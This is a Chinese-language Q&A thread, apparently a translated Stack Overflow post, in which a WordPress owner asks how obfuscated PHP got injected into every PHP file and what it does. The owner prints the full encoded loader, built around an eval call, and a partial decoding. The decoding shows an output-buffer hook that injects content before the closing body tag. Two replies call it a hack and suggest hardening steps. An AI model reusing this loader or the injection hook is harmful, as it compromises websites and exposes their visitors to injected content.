wordpress注入了一些代码片段

时间：2014-08-01 06:51:56

标签： php wordpress lambda

我发现我的wordpress的所有php文件都在文件前面注入了一些代码片段。 

<?php 
$ipdcnbaium = '5c%x78256<^#zsfvr#%x5c%x785cq7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz]y74]273]y76]252]y85]256]y6g]257]78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWt%x7860gvodujpo)##-!#~<#%x5c%x77825)}.;%x5c%x7860UQPc%x787f!>>%x5c%x7822!pd%x5c%x7825m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x782x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x5tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%c%x7825j=tj{fpg)%x5c%x7825%4]y76#<%x5c%x7825tmw!>!#]y84]275]y824*<!%x5c%x7824-%x5c%x7824gx7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x78f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x786GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%{hnpd!opjudovg!|!**#j{hnpd#)tutjyf)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x78275hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbc%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x773:8297f:5297e:56-%x5c%x7878r.985:52985-t.9%x5c%x7860opjudovg%x5c%x7822)!gj}x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c83]273]y76]277#<%x5c%x7825t2w>#%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%xY%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%xif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset($GLc%x7824]y8%x5c%x7824-%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwx782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)#57]38y]47]67y]37]88y]27]5c%x7825))!gj!<*#cd2bge56,47R57,27R66,#%x5c%x782fq%x5c%x7825>ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x782582f%x5c%x7825%x5c%x7825c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI2]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#76248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]uhofm%x5c%x7825:-5ppdex7825!<*#}_;#)323ldfid>}&;%x5c%x7825:osvufs:~92x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>hIr%x5c%x785c1^-%x5c%x7825r%xc%x7825r%x5c%x7878<~!!%x5c%x7825c%x785c2^-%x5c%x7826*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7828257-MSV,6<*)ujojR%x5c%x7827id%x5ck#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]27{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825opmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j2f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]27%x7825s:%x5c%x785c%x5c%x78#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|9]78]K5]53]Kc#<%x5c%x7825tpz!>-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-E%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GOy3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5"%x61%156%x75%156%x61"]=1x5c%x7827pd%x5c%x78256<pdx5c%x7825-#+I#)q%x5cy33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]6225kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfeb8>>%x5c%x7822:ftmbg39*565c%x7827{**u%x5c%x7825-#jt0t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!8]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%5z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825wc%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zeUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7828y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%; 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
$iizkegwpep = explode(chr((159-115)),'1520,70,4940,45,3179,25,3857,40,4841,38,5381,48,8214,69,10075,31,7231,69,5872,44,3141,38,4381,51,4674,33,8438,39,3937,61,3204,25,4579,41,5676,38,1174,44,8968,49,8136,37,2916,51,4879,61,6505,22,1866,44,4432,50,9786,34,8859,70,7771,21,825,67,5429,44,2526,68,0,29,3033,38,4815,26,5046,20,8357,29,5636,40,926,56,1421,59,2219,40,5916,45,6103,41,6903,42,171,47,4482,37,9820,51,7715,56,2323,34,9299,27,5333,48,9326,29,676,63,7381,63,1480,40,248,21,7202,29,8527,43,7816,63,269,33,6780,20,2768,68,1804,40,7598,24,9871,52,5580,34,8637,38,5194,35,9355,65,4121,51,2403,39,557,68,6945,53,5015,31,6412,23,7056,24,8173,41,892,34,1261,33,8068,68,3071,70,4620,54,1116,58,2090,49,6034,69,9420,43,9463,69,5831,41,1612,68,6729,43,6247,32,9532,55,5988,46,1743,24,9723,63,789,36,6998,28,3758,49,3998,60,9017,67,6853,50,9923,68,7300,45,5174,20,3596,48,1680,38,9144,20,2043,26,6664,35,2069,21,3452,24,8736,29,7622,56,2021,22,5805,26,126,45,2483,43,7139,24,6475,30,2357,46,8675,61,7879,69,7345,36,1767,37,8570,26,3404,48,5473,47,6570,35,3711,47,9229,70,3476,27,4786,29,1048,68,5779,26,8018,50,6800,53,2442,41,8283,32,495,34,1329,31,93,33,8929,39,4519,60,2866,50,1718,25,3807,50,3229,20,4344,37,302,69,8596,41,1910,63,625,51,3503,53,5229,51,2704,38,2259,64,8798,61,4228,59,6605,59,6216,31,5520,60,6435,40,1590,22,371,56,9164,65,529,28,8386,20,468,27,1294,35,218,30,1844,22,5614,22,7678,37,6144,48,4287,57,5280,53,6699,30,9084,37,7543,55,4707,36,7444,25,2967,66,7469,39,2139,29,2199,20,982,66,7508,35,9587,68,7792,24,1218,43,3556,40,9655,68,2836,30,6279,63,4058,63,427,41,5714,65,6527,43,1360,61,29,64,9121,23,7080,59,5066,64,8406,32,8477,50,4172,56,2168,31,4985,30,9991,34,2594,70,6342,70,7163,39,2742,26,4743,43,8765,33,739,50,2664,40,3644,67,3338,66,10025,50,7026,30,6192,24,8315,42,3305,33,5961,27,5130,44,7948,70,1973,48,3249,56,3897,40,6772,8');   
$emohrydhhi=substr($ipdcnbaium,(43064-32958),(46-39)); 
if (!function_exists('efccfhrtgn')) { 
  function efccfhrtgn($lvbeusmjag, $likewwohuf) { 
    $bofyjhslnr = NULL; 
    for($wymmotluwp=0;$wymmotluwp<(sizeof($lvbeusmjag)/2);$wymmotluwp++) { 
      $bofyjhslnr .= substr($likewwohuf, $lvbeusmjag[($wymmotluwp*2)],$lvbeusmjag[($wymmotluwp*2)+1]);
    } return $bofyjhslnr; 
  };
}         
$anjiklzunk="\x20\57\x2a\40\x67\166\x66\162\x70\151\x78\145\x74\152\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\61\x31\55\x37\64\x29\51\x2c\40\x63\150\x72\50\x28\62\x38\70\x2d\61\x39\66\x29\51\x2c\40\x65\146\x63\143\x66\150\x72\164\x67\156\x28\44\x69\151\x7a\153\x65\147\x77\160\x65\160\x2c\44\x69\160\x64\143\x6e\142\x61\151\x75\155\x29\51\x29\73\x20\57\x2a\40\x78\147\x76\157\x66\163\x6b\147\x6f\146\x20\52\x2f\40"; 
$xmtobffgzh=substr($ipdcnbaium,(35930-25817),(80-68)); 
$xmtobffgzh($emohrydhhi, $anjiklzunk, NULL); 
$xmtobffgzh=$anjiklzunk; 
$xmtobffgzh=(818-697); 
$ipdcnbaium=$xmtobffgzh-1; ?>

它似乎是一些加密的PHP代码。所以我尝试解密它Here，然后我得到了

<?php

function __lambda_func()
{
};

if (!function_exists("pa22")) {
   function pa22($v)
   {
      Header("Content-Encoding: none");
      $p = "\x70\162\x65\147\x5f";
      $p1 = $p . "\155\x61\164\x63\150";
      $p2 = $p . "\162\x65\160\x6c\141\x63\145";
      $t = dcoo($v);
      if ($p1("/\<\/body/si", $t)) {
         return $p2("/(\<\/body[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
      }
      else {
         if ($p1("/\<\/html/si", $t)) {
            return $p2("/(\<\/html[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
          }
          else {
            return $t;
          }
       }
    }
}

ob_start("pa22"); //}

几个月前我重新安装了我的wordpress。但它现在又来了。我的wordpress是最新版本（3.9.1）。

我的问题是

  1. 这些片段是如何注入php文件的？

  2. 要做的片段是什么？

2 个答案:

答案 0 :(得分：3)

它似乎是第三方禁令。这种攻击在wordpress中很常见。清洁注射码后请采取一些安全措施。禁用编辑权限并使用一些安全插件，如file file-monitor-plus和wordfence

答案 1 :(得分：1)

绝对是黑客攻击。可能不是针对您自己的网站，但您应该清除所有这些内容，因为它们可能很快占用您的托管资源（CPU，内存，IO）。

我的建议是在清除它们之后，禁用WP通过仪表板编辑文件的能力，并将关键文件（配置，索引等）的权限设置为0400或0440。

他们到达那里的方式各不相同，但在大多数情况下，这样做的人使用了一些已知的PHP（或其他）漏洞，你的webhost尚未打补丁......

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